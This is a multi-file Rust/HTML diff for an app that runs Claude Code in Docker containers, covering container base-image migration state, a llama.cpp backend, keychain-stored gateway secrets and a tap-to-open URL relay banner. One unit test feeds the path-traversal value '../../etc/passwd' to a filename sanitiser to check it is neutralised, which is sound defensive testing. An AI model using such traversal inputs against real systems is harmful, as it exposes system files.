||||
/// A field being empty always means "nothing found", never "not checked" —
|
||||
/// [`ContainerStaleness::probe_error`] is the single place a failed inspection
|
||||
/// is reported.
|
||||
#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)]
|
||||
pub struct ContainerStaleness {
|
||||
/// The container's lineage is not the current base image.
|
||||
/// Always `false` when `known` is `false` — an unknown lineage is not a
|
||||
/// claim of staleness.
|
||||
pub stale: bool,
|
||||
/// Whether the lineage could be established at all. `false` means the
|
||||
/// container (or its snapshot image) predates the `triple-c.base-image-id`
|
||||
/// label, i.e. **"unknown, probe instead"** — never "stale".
|
||||
pub known: bool,
|
||||
/// Image ID of the base this container's lineage descends from.
|
||||
pub base_image_id: Option<String>,
|
||||
/// Image ID of the base image currently configured in settings.
|
||||
pub current_base_image_id: Option<String>,
|
||||
/// `Created` timestamp of the project's snapshot image, RFC 3339.
|
||||
pub snapshot_created_at: Option<String>,
|
||||
/// Concrete paths the current base ships that this container does not,
|
||||
/// e.g. `/usr/bin/socat`.
|
||||
pub missing_paths: Vec<String>,
|
||||
/// Human labels for the same, e.g. `"Auth bridge tunnel (socat)"`.
|
||||
pub missing_features: Vec<String>,
|
||||
/// `apt-mark showmanual` in the container minus the base's own set — the
|
||||
/// packages a migration would replay.
|
||||
pub apt_delta: Vec<String>,
|
||||
/// Globally-installed npm packages the base does not ship.
|
||||
pub npm_global_delta: Vec<String>,
|
||||
/// Non-dpkg-owned paths under the verbatim-copy roots that would be carried
|
||||
/// across. Empty when nothing user-authored was found.
|
||||
pub verbatim_paths: Vec<String>,
|
||||
/// Data-bearing subtrees under `/var` that a migration **destroys and
|
||||
/// cannot restore** — a database's files, a served site. Empty on an
|
||||
/// ordinary container; when it is not, the pre-flight has to say so before
|
||||
/// anything is touched. See [`UnpreservedData`].
|
||||
#[serde(default)]
|
||||
pub unpreserved_data: Vec<UnpreservedData>,
|
||||
/// dpkg packages the current base carries at a different version than this
|
||||
/// container does. A rough "how much security drift" number, not a promise
|
||||
/// that every one of them is newer.
|
||||
pub outdated_package_count: u32,
|
||||
/// Set when the container/image could not be inspected. Everything else is
|
||||
/// then at its default.
|
||||
pub probe_error: Option<String>,
|
||||
}
|
||||
|
||||
/// What a migration should replay. All three default to off so that
|
||||
/// `MigrationOptions::default()` is the minimal, fastest migration.
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct MigrationOptions {
|
||||
/// Replay the apt and `npm -g` deltas onto the new base.
|
||||
#[serde(default)]
|
||||
pub replay_packages: bool,
|
||||
/// Copy the verbatim payload (`/usr/local`, `/opt`, `/srv`, and the
|
||||
/// non-bind-mounted parts of `/workspace`) onto the new base.
|
||||
#[serde(default)]
|
||||
pub copy_paths: bool,
|
||||
/// Keep the `:pre-migration-<ts>` rollback tag after the migration reports
|
||||
/// success. Costs the full size of the old snapshot image (snapshots share
|
||||
/// almost no layers with the current base) but makes rollback instant.
|
||||
#[serde(default)]
|
||||
pub keep_rollback: bool,
|
||||
}
|
||||
|
||||
/// The outcome of one migration attempt.
|
||||
#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
|
||||
pub struct MigrationReport {
|
||||
pub phase: MigrationPhase,
|
||||
pub packages_requested: Vec<String>,
|
||||
pub packages_installed: Vec<String>,
|
||||
pub packages_failed: Vec<PackageFailure>,
|
||||
pub paths_copied: Vec<String>,
|
||||
/// Human labels for base features the container gained, e.g.
|
||||
/// `"Auth bridge tunnel (socat)"`.
|
||||
pub features_restored: Vec<String>,
|
||||
/// A `:pre-migration-<ts>` image tag still exists, so
|
||||
/// `rollback_migration` can put the old system layer back.
|
||||
pub rollback_available: bool,
|
||||
/// One paragraph fit to show the user verbatim.
|
||||
pub message: String,
|
||||
}
|
||||
|
||||
impl MigrationReport {
|
||||
/// A report for a migration that never got past pre-flight. Nothing was
|
||||
/// touched, so there is nothing to roll back.
|
||||
pub fn failed_preflight(message: impl Into<String>) -> Self {
|
||||
Self {
|
||||
phase: MigrationPhase::Failed,
|
||||
packages_requested: Vec::new(),
|
||||
packages_installed: Vec::new(),
|
||||
packages_failed: Vec::new(),
|
||||
paths_copied: Vec::new(),
|
||||
features_restored: Vec::new(),
|
||||
rollback_available: false,
|
||||
message: message.into(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a migration decided to do, frozen at pre-flight time.
|
||||
///
|
||||
/// Persisted with the state because a **resume** cannot recompute it: by the
|
||||
/// time the app comes back up the container has already been replaced by one
|
||||
/// created from the base, so its apt/npm sets *are* the base's and the deltas
|
||||
/// would come out empty.
|
||||
#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)]
|
||||
pub struct MigrationPlan {
|
||||
pub apt_packages: Vec<String>,
|
||||
pub npm_packages: Vec<String>,
|
||||
pub verbatim_paths: Vec<String>,
|
||||
/// Base-image paths the old container lacked, so the finished migration can
|
||||
/// report which of them it actually gained.
|
||||
pub missing_paths: Vec<String>,
|
||||
/// What the pre-flight found under `/var` that the migration would destroy.
|
||||
/// Frozen here so the finished report can name it even though the container
|
||||
/// it was measured on no longer exists.
|
||||
#[serde(default)]
|
||||
pub unpreserved_data: Vec<UnpreservedData>,
|
||||
}
|
||||
|
||||
/// Persisted, host-side migration state. Written **before** anything
|
||||
/// destructive happens and removed on confirm or rollback, so a crash at any
|
||||
/// point leaves a record of what was in flight.
|
||||
///
|
||||
/// `phase` is a free-form string rather than [`MigrationPhase`] because it also
|
||||
/// carries the *in-flight* phases, which are not outcomes:
|
||||
///
|
||||
/// | `phase` | Meaning | Offered next |
|
||||
/// |---|---|---|
|
||||
/// | `in-progress` | A migration is running right now | — |
|
||||
/// | `interrupted` | The app died after the container swap | resume, rollback |
|
||||
/// | `awaiting-confirmation` | Migration finished; rollback still possible | confirm, rollback |
|
||||
///
|
||||
/// See [`MIGRATION_PHASE_IN_PROGRESS`] and friends.
|
||||
#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
|
||||
pub struct MigrationState {
|
||||
pub phase: String,
|
||||
/// Image ID of the snapshot the project was on before the swap.
|
||||
pub from_image_id: Option<String>,
|
||||
/// Image ID of the base being migrated to.
|
||||
pub to_base_id: Option<String>,
|
||||
/// RFC 3339.
|
||||
pub started_at: String,
|
||||
/// Present once the attempt produced one.
|
||||
#[serde(default)]
|
||||
pub report: Option<MigrationReport>,
|
||||
/// The `:pre-migration-<ts>` tag holding the old system layer, if one was
|
||||
/// created. `rollback_migration` retags this back to `:latest`.
|
||||
#[serde(default)]
|
||||
pub rollback_image: Option<String>,
|
||||
/// Host path of the staged verbatim payload tar, if one was staged.
|
||||
#[serde(default)]
|
||||
pub staging_path: Option<String>,
|
||||
/// The options the attempt was started with, so a resume replays the same
|
||||
/// things the user originally asked for.
|
||||
#[serde(default)]
|
||||
pub options: MigrationOptions,
|
||||
/// The frozen pre-flight plan. See [`MigrationPlan`].
|
||||
#[serde(default)]
|
||||
pub plan: Option<MigrationPlan>,
|
||||
}
|
||||
|
||||
/// A migration is running in this process right now.
|
||||
pub const MIGRATION_PHASE_IN_PROGRESS: &str = "in-progress";
|
||||
/// The app died after the container swap but before the final commit.
|
||||
pub const MIGRATION_PHASE_INTERRUPTED: &str = "interrupted";
|
||||
/// The migration finished; the user has not yet confirmed or rolled back.
|
||||
pub const MIGRATION_PHASE_AWAITING: &str = "awaiting-confirmation";
|
||||
|
||||
impl MigrationState {
|
||||
pub fn new(
|
||||
from_image_id: Option<String>,
|
||||
to_base_id: Option<String>,
|
||||
options: MigrationOptions,
|
||||
) -> Self {
|
||||
Self {
|
||||
phase: MIGRATION_PHASE_IN_PROGRESS.to_string(),
|
||||
from_image_id,
|
||||
to_base_id,
|
||||
started_at: chrono::Utc::now().to_rfc3339(),
|
||||
report: None,
|
||||
rollback_image: None,
|
||||
staging_path: None,
|
||||
options,
|
||||
plan: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,13 @@
|
||||
pub mod project;
|
||||
pub mod container_config;
|
||||
pub mod app_settings;
|
||||
pub mod gateway_settings;
|
||||
pub mod migration;
|
||||
pub mod update_info;
|
||||
|
||||
pub use project::*;
|
||||
pub use container_config::*;
|
||||
pub use app_settings::*;
|
||||
pub use gateway_settings::*;
|
||||
pub use migration::*;
|
||||
pub use update_info::*;
|
||||
|
||||
@@ -123,6 +123,8 @@ pub struct Project {
|
||||
pub backend: Backend,
|
||||
pub bedrock_config: Option<BedrockConfig>,
|
||||
pub ollama_config: Option<OllamaConfig>,
|
||||
#[serde(default, alias = "llama_cpp_config")]
|
||||
pub llamacpp_config: Option<LlamaCppConfig>,
|
||||
#[serde(alias = "litellm_config")]
|
||||
pub openai_compatible_config: Option<OpenAiCompatibleConfig>,
|
||||
pub allow_docker_access: bool,
|
||||
@@ -137,6 +139,12 @@ pub struct Project {
|
||||
/// because toggling it changes nothing about the container itself.
|
||||
#[serde(default)]
|
||||
pub auth_bridge_enabled: bool,
|
||||
/// Opt in to the browser-view pane, which watches and takes over the
|
||||
/// browser Claude drives with Playwright inside the container. Purely
|
||||
/// host-side like `auth_bridge_enabled`, so it likewise has no
|
||||
/// container-recreation label.
|
||||
#[serde(default)]
|
||||
pub browser_view_enabled: bool,
|
||||
/// Use the shared, long-lived Claude Code OAuth token (from
|
||||
/// `claude setup-token`, held in the OS keychain) for this project instead
|
||||
/// of requiring its own `claude login`. Only consulted when `backend` is
|
||||
@@ -191,8 +199,10 @@ pub enum ProjectStatus {
|
||||
/// - `Anthropic`: Direct Anthropic API (user runs `claude login` inside the container)
|
||||
/// - `Bedrock`: AWS Bedrock with per-project AWS credentials
|
||||
/// - `Ollama`: Local or remote Ollama server
|
||||
/// - `OpenAiCompatible`: Any OpenAI API-compatible endpoint (e.g., LiteLLM, vLLM, etc.)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
|
||||
/// - `LlamaCpp`: A local or remote `llama-server` (llama.cpp)
|
||||
/// - `OpenAiCompatible`: Any endpoint that speaks the Anthropic Messages API
|
||||
/// (e.g. LiteLLM). See [`Backend::uses_custom_endpoint`].
|
||||
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum Backend {
|
||||
/// Backward compat: old projects stored as "login" or "api_key" map to Anthropic.
|
||||
@@ -200,6 +210,10 @@ pub enum Backend {
|
||||
Anthropic,
|
||||
Bedrock,
|
||||
Ollama,
|
||||
/// Serialises as `llama_cpp`; the aliases accept the spellings a
|
||||
/// hand-edited `projects.json` is likely to contain.
|
||||
#[serde(alias = "llamacpp", alias = "llama-cpp", alias = "llama.cpp")]
|
||||
LlamaCpp,
|
||||
#[serde(alias = "lite_llm", alias = "litellm")]
|
||||
OpenAiCompatible,
|
||||
}
|
||||
@@ -210,6 +224,28 @@ impl Default for Backend {
|
||||
}
|
||||
}
|
||||
|
||||
impl Backend {
|
||||
/// Whether this backend points Claude Code at a non-Anthropic HTTP endpoint
|
||||
/// via `ANTHROPIC_BASE_URL`.
|
||||
///
|
||||
/// Those endpoints serve whatever model *they* were started with, so
|
||||
/// Claude Code's built-in `opus`/`sonnet`/`haiku`/`fable` aliases resolve to
|
||||
/// Anthropic model ids the server has never heard of. Every backend for
|
||||
/// which this returns `true` therefore gets the
|
||||
/// `ANTHROPIC_DEFAULT_*_MODEL` alias vars pinned to the configured model —
|
||||
/// see `docker::container::compute_model_aliases`.
|
||||
///
|
||||
/// Bedrock is deliberately excluded: it talks to AWS, which does host the
|
||||
/// real Anthropic model ids, so Claude Code's own defaults are correct
|
||||
/// there. Anthropic is excluded for the same reason.
|
||||
pub fn uses_custom_endpoint(&self) -> bool {
|
||||
matches!(
|
||||
self,
|
||||
Backend::Ollama | Backend::LlamaCpp | Backend::OpenAiCompatible
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/// How Bedrock authenticates with AWS.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
@@ -248,27 +284,60 @@ pub struct BedrockConfig {
|
||||
}
|
||||
|
||||
/// Ollama configuration for a project.
|
||||
/// Ollama exposes an Anthropic-compatible API endpoint.
|
||||
/// Ollama natively implements the Anthropic Messages API at `/v1/messages`.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct OllamaConfig {
|
||||
/// The base URL of the Ollama server (e.g., "http://host.docker.internal:11434" or "http://192.168.1.100:11434")
|
||||
pub base_url: String,
|
||||
/// Optional model override (e.g., "qwen3.5:27b")
|
||||
pub model_id: Option<String>,
|
||||
/// Optional override for the model the `haiku` alias resolves to.
|
||||
/// Blank falls back to `model_id`. See [`Backend::uses_custom_endpoint`].
|
||||
#[serde(default)]
|
||||
pub haiku_model_id: Option<String>,
|
||||
}
|
||||
|
||||
/// llama.cpp (`llama-server`) configuration for a project.
|
||||
///
|
||||
/// `llama-server` natively implements the Anthropic Messages API at
|
||||
/// `POST /v1/messages` (plus `/v1/messages/count_tokens`), so Claude Code can
|
||||
/// talk to it directly through `ANTHROPIC_BASE_URL` — exactly like Ollama, with
|
||||
/// no translation shim.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct LlamaCppConfig {
|
||||
/// The base URL of the llama-server instance. `llama-server`'s default
|
||||
/// listen port is 8080 (`--port PORT | port to listen (default: 8080)`).
|
||||
pub base_url: String,
|
||||
/// Optional model override. `llama-server` serves whatever model it was
|
||||
/// started with, so this is mostly the id Claude Code should *say* it is
|
||||
/// using — but it is also what the model aliases are pinned to.
|
||||
pub model_id: Option<String>,
|
||||
/// Optional override for the model the `haiku` alias resolves to.
|
||||
/// Blank falls back to `model_id`.
|
||||
#[serde(default)]
|
||||
pub haiku_model_id: Option<String>,
|
||||
}
|
||||
|
||||
/// OpenAI Compatible endpoint configuration for a project.
|
||||
/// Routes Anthropic API calls through any OpenAI API-compatible endpoint
|
||||
/// (e.g., LiteLLM, vLLM, or other compatible gateways).
|
||||
///
|
||||
/// Despite the name (kept for backward compatibility with existing
|
||||
/// `projects.json` data), the endpoint must implement the **Anthropic Messages
|
||||
/// API** — Claude Code only ever speaks `POST /v1/messages`. Gateways such as
|
||||
/// LiteLLM expose an Anthropic-shaped route and work; a bare
|
||||
/// `/v1/chat/completions` server does not.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct OpenAiCompatibleConfig {
|
||||
/// The base URL of the OpenAI-compatible endpoint (e.g., "http://host.docker.internal:4000" or "https://api.example.com")
|
||||
/// The base URL of the endpoint (e.g., "http://host.docker.internal:4000" or "https://api.example.com")
|
||||
pub base_url: String,
|
||||
/// API key for the OpenAI-compatible endpoint
|
||||
/// API key for the endpoint
|
||||
#[serde(skip_serializing, default)]
|
||||
pub api_key: Option<String>,
|
||||
/// Optional model override
|
||||
pub model_id: Option<String>,
|
||||
/// Optional override for the model the `haiku` alias resolves to.
|
||||
/// Blank falls back to `model_id`.
|
||||
#[serde(default)]
|
||||
pub haiku_model_id: Option<String>,
|
||||
}
|
||||
|
||||
impl Project {
|
||||
@@ -283,11 +352,13 @@ impl Project {
|
||||
backend: Backend::default(),
|
||||
bedrock_config: None,
|
||||
ollama_config: None,
|
||||
llamacpp_config: None,
|
||||
openai_compatible_config: None,
|
||||
allow_docker_access: false,
|
||||
sandbox_mode_enabled: false,
|
||||
mission_control_enabled: false,
|
||||
auth_bridge_enabled: false,
|
||||
browser_view_enabled: false,
|
||||
use_shared_auth_token: default_use_shared_auth_token(),
|
||||
full_permissions: false,
|
||||
permission_mode: None,
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
//! Host-side persistence for in-flight container base-image migrations.
|
||||
//!
|
||||
//! One JSON file per project under `<data_dir>/triple-c/migrations/`, written
|
||||
//! with the same write-temp-then-rename dance as `projects.json` so a crash can
|
||||
//! never leave a half-written state file. The staged verbatim payload tar lives
|
||||
//! in the same directory.
|
||||
//!
|
||||
//! This is deliberately *not* part of `projects.json`: a migration is transient
|
||||
//! and a migration record must survive independently of a project save racing
|
||||
//! it. It is also the crash record — see
|
||||
//! [`crate::models::MigrationState`] for the phase table.
|
||||
|
||||
use std::fs;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use crate::models::MigrationState;
|
||||
|
||||
/// `<data_dir>/triple-c/migrations`, created on demand.
|
||||
pub fn migrations_dir() -> Result<PathBuf, String> {
|
||||
let dir = dirs::data_dir()
|
||||
.ok_or_else(|| {
|
||||
"Could not determine data directory. Set XDG_DATA_HOME on Linux.".to_string()
|
||||
})?
|
||||
.join("triple-c")
|
||||
.join("migrations");
|
||||
fs::create_dir_all(&dir)
|
||||
.map_err(|e| format!("Failed to create migrations directory: {}", e))?;
|
||||
Ok(dir)
|
||||
}
|
||||
|
||||
fn state_path(project_id: &str) -> Result<PathBuf, String> {
|
||||
Ok(migrations_dir()?.join(format!("{}.json", sanitize(project_id))))
|
||||
}
|
||||
|
||||
/// Host path for a project's staged verbatim payload.
|
||||
pub fn staging_path(project_id: &str) -> Result<PathBuf, String> {
|
||||
Ok(migrations_dir()?.join(format!("{}-payload.tar", sanitize(project_id))))
|
||||
}
|
||||
|
||||
/// Project ids are UUIDs, but they arrive over IPC, so refuse to let one steer
|
||||
/// the write anywhere but the migrations directory.
|
||||
fn sanitize(project_id: &str) -> String {
|
||||
project_id
|
||||
.chars()
|
||||
.map(|c| if c.is_ascii_alphanumeric() || c == '-' || c == '_' { c } else { '_' })
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Read a project's migration state. `Ok(None)` means no migration is in
|
||||
/// flight; an unparseable file is treated the same way (and logged) rather than
|
||||
/// blocking every future migration on a corrupt record.
|
||||
pub fn load(project_id: &str) -> Result<Option<MigrationState>, String> {
|
||||
let path = state_path(project_id)?;
|
||||
if !path.exists() {
|
||||
return Ok(None);
|
||||
}
|
||||
let data = fs::read_to_string(&path)
|
||||
.map_err(|e| format!("Failed to read migration state: {}", e))?;
|
||||
match serde_json::from_str::<MigrationState>(&data) {
|
||||
Ok(state) => Ok(Some(state)),
|
||||
Err(e) => {
|
||||
log::error!(
|
||||
"Failed to parse migration state for project {}: {} — treating as absent",
|
||||
project_id,
|
||||
e
|
||||
);
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Atomically write a project's migration state.
|
||||
pub fn save(project_id: &str, state: &MigrationState) -> Result<(), String> {
|
||||
let path = state_path(project_id)?;
|
||||
let data = serde_json::to_string_pretty(state)
|
||||
.map_err(|e| format!("Failed to serialize migration state: {}", e))?;
|
||||
let tmp = path.with_extension("json.tmp");
|
||||
fs::write(&tmp, data).map_err(|e| format!("Failed to write migration state: {}", e))?;
|
||||
fs::rename(&tmp, &path).map_err(|e| format!("Failed to commit migration state: {}", e))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Remove a project's migration state file. Missing is success.
|
||||
pub fn clear(project_id: &str) -> Result<(), String> {
|
||||
let path = state_path(project_id)?;
|
||||
match fs::remove_file(&path) {
|
||||
Ok(()) => Ok(()),
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
|
||||
Err(e) => Err(format!("Failed to remove migration state: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Remove a project's staged payload. Missing is success.
|
||||
pub fn clear_staging(project_id: &str) -> Result<(), String> {
|
||||
let path = staging_path(project_id)?;
|
||||
match fs::remove_file(&path) {
|
||||
Ok(()) => Ok(()),
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
|
||||
Err(e) => Err(format!("Failed to remove staged migration payload: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn project_ids_cannot_escape_the_migrations_directory() {
|
||||
assert_eq!(sanitize("../../etc/passwd"), "______etc_passwd");
|
||||
assert_eq!(sanitize("a/b"), "a_b");
|
||||
// The real shape — a UUID — must survive untouched, or state files
|
||||
// would move the first time this function changed.
|
||||
assert_eq!(
|
||||
sanitize("ab62cd24-51aa-4645-8f5c-17a124062050"),
|
||||
"ab62cd24-51aa-4645-8f5c-17a124062050"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
pub mod migration_store;
|
||||
pub mod projects_store;
|
||||
pub mod secure;
|
||||
pub mod settings_store;
|
||||
|
||||
@@ -156,3 +156,116 @@ pub fn delete_claude_oauth_token() -> Result<(), String> {
|
||||
);
|
||||
token_result.and(version_result)
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Model gateway secrets (global, not per project)
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Keychain service for the upstream provider API key (OpenAI etc.) the
|
||||
/// LiteLLM gateway authenticates to the model provider with. This value is
|
||||
/// written into the gateway's generated `config.yaml`, which is uploaded
|
||||
/// straight into the container over the Docker API — it is never an env var,
|
||||
/// never a Docker label, and is never returned to the frontend.
|
||||
const GATEWAY_API_KEY_SERVICE: &str = "triple-c-gateway-provider-api-key";
|
||||
|
||||
/// Keychain service for the gateway's **master key** — the credential a
|
||||
/// *project* presents to the gateway as `ANTHROPIC_AUTH_TOKEN`. Unlike the
|
||||
/// provider key this one is minted by Triple-C and must be readable by the
|
||||
/// user, since they have to paste it into a project's model config.
|
||||
const GATEWAY_MASTER_KEY_SERVICE: &str = "triple-c-gateway-master-key";
|
||||
|
||||
/// Rotation id covering *both* gateway secrets, on the same reasoning as
|
||||
/// `CLAUDE_TOKEN_VERSION_SERVICE`: container recreation is driven off Docker
|
||||
/// labels, labels are world-readable via `docker inspect`, and a hash of a
|
||||
/// secret is a verification oracle. This is unrelated random data that merely
|
||||
/// changes whenever either secret does.
|
||||
const GATEWAY_SECRET_VERSION_SERVICE: &str = "triple-c-gateway-secret-version";
|
||||
|
||||
/// Mint a fresh gateway rotation id. Called after either gateway secret moves.
|
||||
fn bump_gateway_secret_version() -> Result<(), String> {
|
||||
let version = uuid::Uuid::new_v4().to_string();
|
||||
let entry = keyring::Entry::new(GATEWAY_SECRET_VERSION_SERVICE, KEYCHAIN_ACCOUNT)
|
||||
.map_err(|e| format!("Keyring error: {}", e))?;
|
||||
entry
|
||||
.set_password(&version)
|
||||
.map_err(|e| format!("Failed to store the gateway secret rotation id: {}", e))
|
||||
}
|
||||
|
||||
/// The rotation id of the currently stored gateway secrets. Opaque random
|
||||
/// data — safe to put in a Docker label, unlike either secret.
|
||||
pub fn get_gateway_secret_version() -> Result<Option<String>, String> {
|
||||
read_entry(
|
||||
GATEWAY_SECRET_VERSION_SERVICE,
|
||||
"the gateway secret rotation id",
|
||||
)
|
||||
}
|
||||
|
||||
/// Store the provider API key, replacing any previous one. Blank input is
|
||||
/// rejected rather than silently stored.
|
||||
pub fn store_gateway_api_key(key: &str) -> Result<(), String> {
|
||||
if key.trim().is_empty() {
|
||||
return Err("Refusing to store an empty gateway provider API key.".to_string());
|
||||
}
|
||||
|
||||
let entry = keyring::Entry::new(GATEWAY_API_KEY_SERVICE, KEYCHAIN_ACCOUNT)
|
||||
.map_err(|e| format!("Keyring error: {}", e))?;
|
||||
entry
|
||||
.set_password(key.trim())
|
||||
.map_err(|e| format!("Failed to store the gateway provider API key: {}", e))?;
|
||||
|
||||
// Rotation id second: if this fails the key is still usable, and the stale
|
||||
// id only costs one extra container recreation later.
|
||||
bump_gateway_secret_version()
|
||||
}
|
||||
|
||||
/// Retrieve the provider API key. **Host-side only** — this is consumed when
|
||||
/// rendering the gateway config and must not be handed to the frontend.
|
||||
pub fn get_gateway_api_key() -> Result<Option<String>, String> {
|
||||
read_entry(GATEWAY_API_KEY_SERVICE, "the gateway provider API key")
|
||||
}
|
||||
|
||||
/// Whether a provider API key is stored. A keychain failure is reported as
|
||||
/// "no key" so the UI degrades to the unconfigured state instead of breaking.
|
||||
pub fn has_gateway_api_key() -> bool {
|
||||
matches!(get_gateway_api_key(), Ok(Some(k)) if !k.trim().is_empty())
|
||||
}
|
||||
|
||||
/// Delete the provider API key and rotate the id so a running gateway holding
|
||||
/// the old key is flagged for recreation.
|
||||
pub fn delete_gateway_api_key() -> Result<(), String> {
|
||||
let delete_result = delete_entry(GATEWAY_API_KEY_SERVICE, "the gateway provider API key");
|
||||
let version_result = bump_gateway_secret_version();
|
||||
delete_result.and(version_result)
|
||||
}
|
||||
|
||||
/// The gateway master key, minting one on first use.
|
||||
///
|
||||
/// The gateway is published on a host port so project containers can reach it,
|
||||
/// which means an unauthenticated gateway would be an open proxy onto the
|
||||
/// user's provider account for anything that can route to the host. LiteLLM
|
||||
/// only enforces auth when a master key is configured, so Triple-C always
|
||||
/// configures one.
|
||||
pub fn get_or_create_gateway_master_key() -> Result<String, String> {
|
||||
if let Some(existing) = read_entry(GATEWAY_MASTER_KEY_SERVICE, "the gateway master key")? {
|
||||
if !existing.trim().is_empty() {
|
||||
return Ok(existing);
|
||||
}
|
||||
}
|
||||
regenerate_gateway_master_key()
|
||||
}
|
||||
|
||||
/// Mint a new gateway master key, invalidating the old one. Projects using the
|
||||
/// previous value must be updated.
|
||||
pub fn regenerate_gateway_master_key() -> Result<String, String> {
|
||||
// LiteLLM requires the master key to start with `sk-`.
|
||||
let key = format!("sk-triple-c-{}", uuid::Uuid::new_v4().simple());
|
||||
|
||||
let entry = keyring::Entry::new(GATEWAY_MASTER_KEY_SERVICE, KEYCHAIN_ACCOUNT)
|
||||
.map_err(|e| format!("Keyring error: {}", e))?;
|
||||
entry
|
||||
.set_password(&key)
|
||||
.map_err(|e| format!("Failed to store the gateway master key: {}", e))?;
|
||||
|
||||
bump_gateway_secret_version()?;
|
||||
Ok(key)
|
||||
}
|
||||
|
||||
@@ -226,6 +226,51 @@
|
||||
.scroll-bottom-btn:hover { background: var(--accent-hover); }
|
||||
.scroll-bottom-btn.visible { display: flex; }
|
||||
|
||||
/* ── URL relay banner ───────────────────── */
|
||||
.relay-banner {
|
||||
position: absolute;
|
||||
top: 8px;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
max-width: min(94%, 620px);
|
||||
display: none;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
padding: 8px 10px;
|
||||
background: var(--bg-secondary);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 4px 12px rgba(0,0,0,0.45);
|
||||
z-index: 30;
|
||||
}
|
||||
.relay-banner.visible { display: flex; }
|
||||
.relay-banner-text { flex: 1; min-width: 0; }
|
||||
.relay-banner-label {
|
||||
font-size: 11px;
|
||||
color: var(--text-secondary);
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
.relay-banner-url {
|
||||
display: block;
|
||||
font-size: 12px;
|
||||
font-family: 'Cascadia Code', 'Fira Code', 'JetBrains Mono', 'Menlo', monospace;
|
||||
color: var(--accent);
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.relay-banner-dismiss {
|
||||
flex-shrink: 0;
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: var(--text-secondary);
|
||||
font-size: 14px;
|
||||
line-height: 1;
|
||||
padding: 4px 6px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.relay-banner-dismiss:hover { color: var(--text-primary); }
|
||||
|
||||
/* ── Empty State ─────────────────────────── */
|
||||
.empty-state {
|
||||
display: flex;
|
||||
@@ -272,6 +317,15 @@
|
||||
<div class="hint">Use the buttons above to start a Claude or Bash session</div>
|
||||
</div>
|
||||
<button class="scroll-bottom-btn" id="scrollBottomBtn" title="Scroll to bottom">↓</button>
|
||||
<!-- URL relay: a CLI in the container asked for a browser. Tap-to-open only,
|
||||
never automatic — see the OSC 7777 handler below. -->
|
||||
<div class="relay-banner" id="relayBanner">
|
||||
<div class="relay-banner-text">
|
||||
<div class="relay-banner-label">Container asked to open a URL — tap to open here</div>
|
||||
<a class="relay-banner-url" id="relayBannerLink" target="_blank" rel="noopener noreferrer"></a>
|
||||
</div>
|
||||
<button class="relay-banner-dismiss" id="relayBannerDismiss" aria-label="Dismiss">✕</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Input Bar for mobile/tablet -->
|
||||
@@ -309,6 +363,114 @@
|
||||
const btnTab = document.getElementById('btnTab');
|
||||
const btnCtrlC = document.getElementById('btnCtrlC');
|
||||
const scrollBottomBtn = document.getElementById('scrollBottomBtn');
|
||||
const relayBanner = document.getElementById('relayBanner');
|
||||
const relayBannerLink = document.getElementById('relayBannerLink');
|
||||
const relayBannerDismiss = document.getElementById('relayBannerDismiss');
|
||||
|
||||
// ── URL relay (OSC 7777) ───────────────────
|
||||
// `container/triple-c-open` — installed in the container as xdg-open,
|
||||
// $BROWSER, sensible-browser, ... — emits ESC]7777;open;<base64(url)>BEL
|
||||
// when a CLI wants a browser. The desktop app turns that into a host-browser
|
||||
// open; here the only browser available is the *remote viewer's*.
|
||||
//
|
||||
// That is a different trust situation, so this deliberately does NOT mirror
|
||||
// the desktop behaviour: nothing opens by itself. The web terminal may be
|
||||
// reached from a phone on the LAN or through a tunnel, and the viewer's
|
||||
// browser carries their own logged-in sessions and can reach their own
|
||||
// network. We surface the request as a tap-to-open link and let the human
|
||||
// decide. (A popup would be blocked without a user gesture anyway.)
|
||||
// The same http/https allowlist as the desktop side applies — this file is
|
||||
// standalone (embedded via include_str!) so it cannot import lib/urlRelay.ts;
|
||||
// the logic is kept deliberately short and identical in behaviour.
|
||||
const RELAY_OSC = 7777;
|
||||
const RELAY_MAX_URL = 8192;
|
||||
let relayTimes = [];
|
||||
let relayLastUrl = null;
|
